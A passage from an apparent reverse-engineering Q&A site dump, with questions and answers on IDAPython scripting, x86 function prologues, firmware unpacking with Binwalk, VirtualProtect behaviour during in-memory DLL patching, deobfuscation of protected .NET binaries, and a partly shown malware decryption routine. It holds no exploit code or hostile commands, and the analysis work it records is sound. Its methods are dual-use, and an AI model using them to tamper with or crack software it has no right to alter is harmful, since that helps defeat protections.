seg_ea))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gotaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using this code you'll see all cross references, not only those with a name, although adding that is quite trivial if you'd rather have it that way.&lt;/li&gt;&#xA;&lt;li&gt;As mentioned by @ws, you'll only see variables located at the &lt;code&gt;.data&lt;/code&gt; section as the OP requested, you should consider including other data related sections (such as &lt;code&gt;.idata&lt;/code&gt;, &lt;code&gt;.rodata&lt;/code&gt;, &lt;code&gt;.bss&lt;/code&gt;, and others). Alternatively you might want to consider using &lt;code&gt;idc.isData(idc.GetFlags(ea))&lt;/code&gt; to filter out non-data offsets in some or all sections.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-09T09:21:47.963" LastActivityDate="2016-09-09T09:21:47.963" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13459" PostTypeId="2" ParentId="13428" CreationDate="2016-09-07T22:10:54.200" Score="0" Body="&lt;p&gt;Some of the techniques i've also came up with, for the sake of completeness (I won't accept my own answer):&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;download from github&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some Github repositories have multiple executables either as needed utilities or as build output. Scanning Github for those using a &lt;a href=&quot;https://github.com/intezer/GithubDownloader&quot; rel=&quot;nofollow&quot;&gt;GithubDownloader&lt;/a&gt; proved being slow but effective, and I results are really likely to be benign.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;collect all executables/hashes from accessible machines&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since I'm doing this as part of my job, I'm able to ask the IT department to collect hashes and samples from the multiple machines we have at my office. This was a good way to collect many executables for multiple versions of OSes with ease. Collecting hashes and downloading the ones available from VT was also a possibility (perhaps after further scrutiny).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-07T22:10:54.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13463" PostTypeId="1" AcceptedAnswerId="13464" CreationDate="2016-09-08T09:16:35.133" Score="2" ViewCount="7169" Body="&lt;p&gt;I'm studying x86 architecture and assembly in order to have the bases for studying reversing and exploit development. I'm following a course on opensecuritytraining.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a Hello World example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;push offset aHelloWorld; &quot;Hello world\n&quot;&#xA;call ds:__imp__printf&#xA;add esp, 4&#xA;mov eax, 1234h&#xA;pop ebp&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code was generated by Windows Visual C++ 2005 with buffer overflow protection turned off and disassembled with IDA Pro 4.9 Free Version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand what each line does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first line is &lt;code&gt;push ebp&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;code&gt;ebp&lt;/code&gt; stands for &lt;strong&gt;base pointer&lt;/strong&gt;. What is its function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that in the second line the value in &lt;code&gt;esp&lt;/code&gt; is moved into &lt;code&gt;ebp&lt;/code&gt; and searching online I see that there first 2 instructions are very common at the beginning of an assembly program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though are &lt;code&gt;ebp&lt;/code&gt; and &lt;code&gt;esp&lt;/code&gt; empty at the beginning? I'm new to assembly. Is &lt;code&gt;ebp&lt;/code&gt; used for stack frames, so when we have a function in our code and is it optional for a simple program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;push offset aHelloWorld; &quot;Hello world\n&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part after &lt;code&gt;;&lt;/code&gt; is a comment so it doesn't get executed right? The first part instead adds the address containing the string Hello World to the stack, right? But where is the string declared? I'm not sure I understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;call ds:__imp__printf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems it's a call to a function, anyway &lt;code&gt;printf&lt;/code&gt; is a builtin function right?&#xA;And does &lt;code&gt;ds&lt;/code&gt; stand for &lt;strong&gt;data segment register&lt;/strong&gt;? Is it used because we are trying to access a memory operand that isn't on the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;add esp, 4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do we add 4 bytes to esp? Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;move eax, 1234h&lt;/code&gt;  what is 1234h here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;pop ebx&lt;/code&gt;..it was pushed at the beginning. is it necessary to pop it at the end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;retn&lt;/code&gt; ( i knew about &lt;code&gt;ret&lt;/code&gt; for returning a value after calling a function). I read that the n in retn refers to the number of pushed arguments by the caller. It isn't very clear for me.&#xA;Can you help me to understand? &lt;/p&gt;&#xA;" OwnerUserId="13566" LastActivityDate="2016-09-13T11:56:18.770" Title="Understanding assembly Hello World" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13464" PostTypeId="2" ParentId="13463" CreationDate="2016-09-08T10:23:59.633" Score="8" Body="&lt;p&gt;first up: I would recommend you to try and write some simple assembly programs or use an intermediate representation like REIL to get a hang of it (REIL has only ~17 instructions).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first two lines build the &lt;em&gt;stack frame&lt;/em&gt;. As you correctly mentioned, ebp describes the current stack frame. So when this function is called from another function, is saves the previous base pointer on the stack to be able to restore it when the function returns. When the value is saved, the function assignes the current location on the stack to be the new base pointer for this fuction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assignments are called function prolog and are common among different disassembleres. Mainly the ebp is used to reference function arguments, while the esp can be modified freely (by pushing variables on the stack, etc.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push offset aHelloWorld; &quot;Hello world\n&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function pushes the &lt;strong&gt;address&lt;/strong&gt; of the String &quot;Hello world\n&quot; on the stack. The comment at the end is just for convenience matters. Please note pushing something on the stack modifies esp by the (byte-size) of the given value. In this case 4 for x32 and 8 for x64 references (&lt;code&gt;esp=esp-4&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call ds:__imp__printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call does not directly jump to the function, because the function is loaded dynamically and the code does not know where the function is located in the address space. So it calls a reference to the location, which is the &quot;jump table&quot; or in this case rather &quot;import table&quot;. When a binary is loaded, the systems loader ensures that it loads the dependencies and leaves the correct addresses for the program to use there. (&lt;strong&gt;imp&lt;/strong&gt; stands for &quot;import&quot;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the calling convention (how are arguments passed? who cleans them from the stack?) printf does not clean up its stack before returning. So the calling function must do it itself. It adds 4 to the stack pointer to revert the changes from the &lt;code&gt;push&lt;/code&gt; instruction (which subtracted 4 from esp implicitly).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 1234h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing special here. The value 0x1234 is &lt;em&gt;moved&lt;/em&gt; to the register eax (apparently for no reason). I assume this is the return value of the program (unix convention is to return 0 in eax if there was no failure).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pop ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction reads the former value of ebp from the stack and stores it in ebp again. Please note you must keep track of the order in which things were pushed on the stack (Last-In-First-Out). Note that this instruction also adds 4 to the esp implicitly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resume execution at the location at the current esp. When a function is called, the calling fucntion pushes the address to return to on the stack. Also, this function adds 4 to esp to 'remove' the address from the stack.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="17216" LastEditDate="2016-09-13T11:56:18.770" LastActivityDate="2016-09-13T11:56:18.770" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13465" PostTypeId="1" AcceptedAnswerId="13471" CreationDate="2016-09-08T13:44:15.487" Score="2" ViewCount="10372" Body="&lt;p&gt;I'm trying to extract this firmware to check whats inside, but can't find how to tackle this file. I was only able to extract and read PNG image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Binwalk&lt;/strong&gt; scan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;199536      0x30B70     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 392072 bytes&#xA;348272      0x55070     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10362880 bytes&#xA;994916      0xF2E64     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10211328 bytes&#xA;3911705     0x3BB019    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 220534 bytes&#xA;4078426     0x3E3B5A    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes&#xA;4078457     0x3E3B79    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes&#xA;4092314     0x3E719A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;4098794     0x3E8AEA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;4100954     0x3E935A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;4103114     0x3E9BCA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;4105274     0x3EA43A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes&#xA;4121895     0x3EE527    LZMA compressed data, properties: 0x0C, dictionary size: 4194304 bytes, uncompressed size: 50 bytes&#xA;4141086     0x3F301E    TIFF image data, big-endian&#xA;4141279     0x3F30DF    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 196608 bytes&#xA;4141359     0x3F312F    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 520683520 bytes&#xA;4145070     0x3F3FAE    LZMA compressed data, properties: 0x0C, dictionary size: 16777216 bytes, uncompressed size: 61503 bytes&#xA;4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to tackle this binary? Is it even possible to get everything from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firmware file is &lt;a href=&quot;ftp://ftp.manta.com.pl/firmware/Telewizory/LED3204vA/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; if someone what to try it.&lt;/p&gt;&#xA;" OwnerUserId="17389" LastActivityDate="2016-09-09T06:47:52.847" Title="Extracting firmware BIN file" Tags="|firmware|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13467" PostTypeId="1" AcceptedAnswerId="13468" CreationDate="2016-09-08T17:48:51.980" Score="1" ViewCount="1510" Body="&lt;p&gt;VirtualProtect is straightforward but I get some results that I can't explain. Something's going on in the background probably but I'd like to know what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is under Windows 7 SP1 Ultimate x64, using a DLL compiled for Windows 10 by VS 2015. The DLL modifies some other DLL in memory.&#xA;The result DLL was working fine under Win 7 but it was crashing under Win 10 (no dump produced). So I started following the code in case it was something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that looked strange, is the following (in pseudocode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &amp;amp;dwProtect) == 0)&#xA;        {&#xA;            GetLastError());&#xA;            goto _exit;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, the new protection should be 0x40 (PAGE_EXECUTE_READWRITE).&#xA;The current protection that comes back in dwProtect is 0x2 (PAGE_READONLY).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...some more code here that writes data in the modified memory block...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_exit:&#xA;if (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &amp;amp;dwProtect) == 0)&#xA;            {&#xA;                GetLastError());&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, the dwProtect gets the value 0x80  !! Why? Shouldn't it be 0x40 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the second call I try to restore the original value (0x2) by passing the saved dwProtect, it still doesn't return 0x40. (I think it returned 0x4).&#xA;I even tried setting it to 0x80 on the first call. It came back the same (0x80). It didn't double it but the DLL would crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, why on the second call, it doesn't return back the value I set it to on the first call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any clarification.&lt;/p&gt;&#xA;" OwnerUserId="3937" LastActivityDate="2016-09-08T18:48:47.580" Title="VirtualProtect return value" Tags="|memory|exploit|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13468" PostTypeId="2" ParentId="13467" CreationDate="2016-09-08T18:48:47.580" Score="1" Body="&lt;p&gt;This seems to be working as intended.&lt;/p&gt;&#xA;&lt;p&gt;Flag 0x80 is &lt;em&gt;PAGE_EXECUTE_WRITECOPY&lt;/em&gt;. You can look it up in &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/aa366786(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;msdn&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If a memory page with the &amp;quot;PAGE_EXECUTE_READWRITE&amp;quot; access protection attributes is requested from the OS, then a page with the &amp;quot;PAGE_EXECUTE_WRITECOPY&amp;quot; attributes, not the &amp;quot;PAGE_EXECUTE_READWRITE&amp;quot; attributes is given.&lt;/p&gt;&#xA;&lt;p&gt;The reason for that behavior is so simple, that is, the OS memory manager wants to physically share the page between all the process instances (since it is guaranteed to be the same in all the process instances before any write).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Find the full source &lt;a href=&quot;http://waleedassar.blogspot.de/2012/09/pageexecutewritecopy-as-anti-debug-trick.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, copyright to Walied Assar&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-09-08T18:48:47.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13469" PostTypeId="1" CreationDate="2016-09-08T21:37:02.050" Score="2" ViewCount="1380" Body="&lt;p&gt;As a company we are going to start obfuscating our released binaries, so far the best front runner we have found has been Agile.net 6.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took one of our binaries we obfuscated with the trial version of 6.4 and was not able to re-fill the method bodies using the latest development snapshot (from 9/8/2016) of de4dot. It appears that the highest version it supports is Agile.net 6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known deobfuscators in the wild that can deobfuscate Agile.net 6.4? Knowing that there are no current deobfucators would put it in the definite lead of going from trial to purchasing a full licence.&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2016-09-08T21:37:02.050" Title="Do any known deobfuscateors work on Agile.net 6.4?" Tags="|deobfuscation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13471" PostTypeId="2" ParentId="13465" CreationDate="2016-09-09T06:47:52.847" Score="3" Body="&lt;p&gt;Binwalk performed a good work in this firmware file, but found too much parts. It worth to know, that Binwalk identifies types based on magic IDs and some other properties. In a typical firmware the parts are stored in compressed and may be in encrypted form. It means, there are some high entropy parts, which possible will not contain any known file type magic ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see the firmware file with a hex editor, you may see that it contains distinct parts (separated by a lots of 00 or FF bytes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x1000-0x55000: Seems to be a bootloader started with an executable part, which was followed by a compressed part from 0x8000.&#xA;0x55000-0x3B984F: Main program&#xA;0x3B99EC: Various data parts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In general firmware parts starts with a header, so let's see the header of the main program:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r0fgg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0fgg.png&quot; alt=&quot;Main program header in the firmware&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I marked the part name with blue, the size of the part with green and the LZMA header with yellow. As you can see the LZMA header contains the decompressed size (&lt;code&gt;0x9e2000&lt;/code&gt; = &lt;code&gt;10362880&lt;/code&gt;), but does not contain the compressed size. So, without any knowledge of the header, you can not determine the end of the compressed data, but only guess (for example from the entropy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We found the main program part, but Binwalk gave a lot more results, so let's check whether other LZMA parts are valid (I changed the description in the original result).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;199536      0x30B70     Valid LZMA compressed data containing part of the bootloader or OTA loader&#xA;348272      0x55070     Valid LZMA compressed data containing part of the main program&#xA;994916      0xF2E64     Valid LZMA compressed data containing other part of the main program&#xA;3911705     0x3BB019    Valid LZMA compressed data&#xA;4078426     0x3E3B5A    Not LZMA compressed data&#xA;4078457     0x3E3B79    Not LZMA compressed data&#xA;4092314     0x3E719A    Not LZMA compressed data&#xA;4098794     0x3E8AEA    Not LZMA compressed data&#xA;4100954     0x3E935A    Not LZMA compressed data&#xA;4103114     0x3E9BCA    Not LZMA compressed data&#xA;4105274     0x3EA43A    Not LZMA compressed data&#xA;4121895     0x3EE527    Not LZMA compressed data&#xA;4141086     0x3F301E    TIFF image data, big-endian&#xA;4141279     0x3F30DF    Not LZMA compressed data&#xA;4141359     0x3F312F    Not LZMA compressed data&#xA;4145070     0x3F3FAE    Not LZMA compressed data&#xA;4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, Binwalk identified correctly the first four LZMA compressed part and I think it extracted correctly also. Other parts marked with LZMA compressed data are false positives, because it is an uncompressed data area, which contains low entropy data, which sometimes similar to an LZMA header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to draw your attention to the part started at &lt;code&gt;0xf2e64&lt;/code&gt;. As I stated previously this area should be in the main part based on the header analysis. However, there is a separated compressed part after the first compressed image. If you check the header again, there is the offset of this second part at &lt;code&gt;0x55028&lt;/code&gt;. So, it seems that the main image contains at least two separate parts.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-09-09T06:47:52.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13472" PostTypeId="2" ParentId="13358" CreationDate="2016-09-09T07:10:12.743" Score="2" Body="&lt;p&gt;Decided to add a small code snippet to show how to iterate through the .text segment, obtaining all the switch table locations and storing the jump targets in a dictionary.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;text_seg = idaapi.get_segm_by_name('.text')&#xA;jump_table = dict()&#xA;&#xA;# iterate through all items within the segment&#xA;for head_ea in idautils.Heads(text_seg.startEA, text_seg.endEA):&#xA;    if idc.isCode(idc.GetFlags(head_ea)):&#xA;        switch_info = idaapi.get_switch_info_ex(head_ea)&#xA;        if (switch_info and switch_info.jumps != 0):&#xA;            loc = switch_info.jumps&#xA;            jump_table[loc] = list()&#xA;            element_num = switch_info.get_jtable_size()&#xA;            element_size = switch_info.get_jtable_element_size()&#xA;            for num in range(0, element_num):&#xA;                table_entry = loc+num*element_size&#xA;                jump_table[loc].append(idc.GetManyBytes(table_entry), element_size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: To build upon this for newer versions of IDA&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def find_jumps(si: ida_nalt.switch_info_t) -&amp;gt; list:&#xA;    jtable = []&#xA;    e_size = si.get_jtable_element_size()&#xA;&#xA;    for num in range(0, si.get_jtable_size()):&#xA;        jtable.append(int.from_bytes(ida_bytes.get_bytes(si.jumps + (num * e_size), e_size), 'little') + si.elbase)&#xA;&#xA;    return jtable&#xA;&#xA;ea = 0x0000000000000000 # some ea&#xA;si = ida_nalt.switch_info_t()&#xA;if (ida_nalt.get_switch_info(si, ea) is not None): # jump table&#xA;    jtable = find_jumps(si)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This resolves the offsets to the with respect to &lt;code&gt;elbase&lt;/code&gt; of the &lt;code&gt;switch_info_t&lt;/code&gt; structure which IDA provides if &lt;code&gt;get_switch_info&lt;/code&gt; is succesful. See: &lt;a href=&quot;https://hex-rays.com/products/ida/support/idapython_docs/ida_nalt.html#ida_nalt.switch_info_t.elbase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hex-rays.com/products/ida/support/idapython_docs/ida_nalt.html#ida_nalt.switch_info_t.elbase&lt;/a&gt; for more information, and cross reference this to the &lt;code&gt;c++&lt;/code&gt; support if need-be at &lt;a href=&quot;https://hex-rays.com/products/ida/support/sdkdoc/structswitch__info__t.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hex-rays.com/products/ida/support/sdkdoc/structswitch__info__t.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17396" LastEditorUserId="33315" LastEditDate="2021-11-21T03:27:59.977" LastActivityDate="2021-11-21T03:27:59.977" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13473" PostTypeId="1" CreationDate="2016-09-09T08:03:44.280" Score="3" ViewCount="169" Body="&lt;p&gt;I have made a hardware control interface for my vintage Yamaha CBX-D5 audio recording processor. using MIDI SysEx commands.I managed to find out most of it's inner workings. I programmed SysEx in Arduino to send over the MIDI bus. It works great and now is a stand-alone unit with effects.&#xA;You can find a video on youtube if you look for adriaanhendrik and then CBXD5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I also own a CBX-D3, which is a basic 4ch audio processor without effect section.&#xA;It uses a startup sequence of SCSI commands sent from the host computer, so that RAM is filled with the right code to make it work just like it's bigger brother (CBX-D5). That way I can fill this code in a Chip so it can be used in stand-alone mode&#xA;I would like to read from it's SCSI bus in a software solution. I mean there are expensive hardware solutions out there, but these are out of reach for me.. so there must be a way to intercept the startup Command structure being sent over the SCSI bus so I can program it in a ATMEGA328P chip or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone out there that knows how to achieve that one? I do have Logic Audio Platinium that sends those SCSI commands, but don't know how to read and interpret SCSI Command Description Blocks. Maybe there is a way to intercept it on the MacBook Bronze that runs it..&lt;/p&gt;&#xA;" OwnerUserId="17397" LastActivityDate="2020-09-01T10:39:21.337" Title="Reading SCSI Command Description Block in software" Tags="|disassembly|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="2" ParentId="13358" CreationDate="2016-09-09T11:07:05.620" Score="0" Body="&lt;p&gt;To safely get all references from a certain &lt;code&gt;EA&lt;/code&gt;, there's &lt;code&gt;idc.XrefsFrom(ea, flags)&lt;/code&gt;. You'll get an iterator for cross references from a certain &lt;code&gt;EA&lt;/code&gt; (the switch-case's branch/jump instruction). switch-cases are easy to identify as they're always with more than two cross references targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_xref-module.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; the &lt;code&gt;flags&lt;/code&gt; parameter is one of the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XREF_USER = 32&lt;br&gt;&#xA;  XREF_TAIL = 64&lt;br&gt;&#xA;  XREF_BASE = 128&lt;br&gt;&#xA;  XREF_MASK = 31&lt;br&gt;&#xA;  XREF_PASTEND = 256&lt;br&gt;&#xA;  XREF_ALL = 0&lt;br&gt;&#xA;  XREF_FAR = 1&lt;br&gt;&#xA;  XREF_DATA = 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The object you'll get from each iteration is an &lt;code&gt;ida_xref&lt;/code&gt; object, exposing the following attributes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;frm&lt;/code&gt; - The source of the cross reference, the code that performs the jump in our case.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;to&lt;/code&gt; - The target of the cross reference, the code that will be executed according to the jump table selector in our case.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;iscode&lt;/code&gt; - Boolean, &lt;code&gt;True&lt;/code&gt; if cross reference is a code cross reference, must be &lt;code&gt;True&lt;/code&gt; in our case.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;type&lt;/code&gt; - One of the available type values, see below. You could use &lt;code&gt;idautils.XrefTypeName(typecode)&lt;/code&gt; to translate the integer you get here to a readable string.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;user&lt;/code&gt; - Boolean, True if this cross reference was created by the user, opposed to being automatically created by IDA.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The valid cross reference types are, according to &lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idautils.py#L119&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ref_types = {&lt;br&gt;&#xA;   0  : 'Data_Unknown',&lt;br&gt;&#xA;   1  : 'Data_Offset',&lt;br&gt;&#xA;   2  : 'Data_Write',&lt;br&gt;&#xA;   3  : 'Data_Read',&lt;br&gt;&#xA;   4  : 'Data_Text',&lt;br&gt;&#xA;   5  : 'Data_Informational',&lt;br&gt;&#xA;   16 : 'Code_Far_Call',&lt;br&gt;&#xA;   17 : 'Code_Near_Call',&lt;br&gt;&#xA;   18 : 'Code_Far_Jump',&lt;br&gt;&#xA;   19 : 'Code_Near_Jump',&lt;br&gt;&#xA;   20 : 'Code_User',&lt;br&gt;&#xA;   21 : 'Ordinary_Flow'&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-09T11:07:05.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13475" PostTypeId="1" AcceptedAnswerId="13476" CreationDate="2016-09-09T12:17:26.873" Score="3" ViewCount="595" Body="&lt;p&gt;I am trying to reverse engineer a malware, and came across a piece of code that I suspect is an encryption/decryption procedure, however I do not know for sure. I can recognize that it extracts its payload from it's own &lt;code&gt;.rsrc&lt;/code&gt; section.&#xA; I scanned this algorithm with &lt;a href=&quot;http://www.hexblog.com/?p=27&quot; rel=&quot;nofollow&quot;&gt;FindCrypt&lt;/a&gt; and &lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope&quot; rel=&quot;nofollow&quot;&gt;IDAScope&lt;/a&gt;, Both plugins failed identifying it as a cryptographic algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not familiar with cryptographic algorithms. What are some good indications of code being an encryption or decryption algorithm, and what indications rule it out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extraction algorithm is(generated by IDA):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_9001320(int a1, unsigned int a2, int a3)&#xA;{&#xA;// a1 = a3 = 0x09003000&#xA;// a2 = 0x7600&#xA;&#xA;&#xA;&#xA;  int result; // eax@2&#xA;  char v4; // al@23&#xA;  unsigned int l; // [sp+4h] [bp-4Ch]@33&#xA;  unsigned int k; // [sp+10h] [bp-40h]@19&#xA;  unsigned int v7; // [sp+14h] [bp-3Ch]@19&#xA;  int v8; // [sp+18h] [bp-38h]@40&#xA;  signed int j; // [sp+1Ch] [bp-34h]@13&#xA;  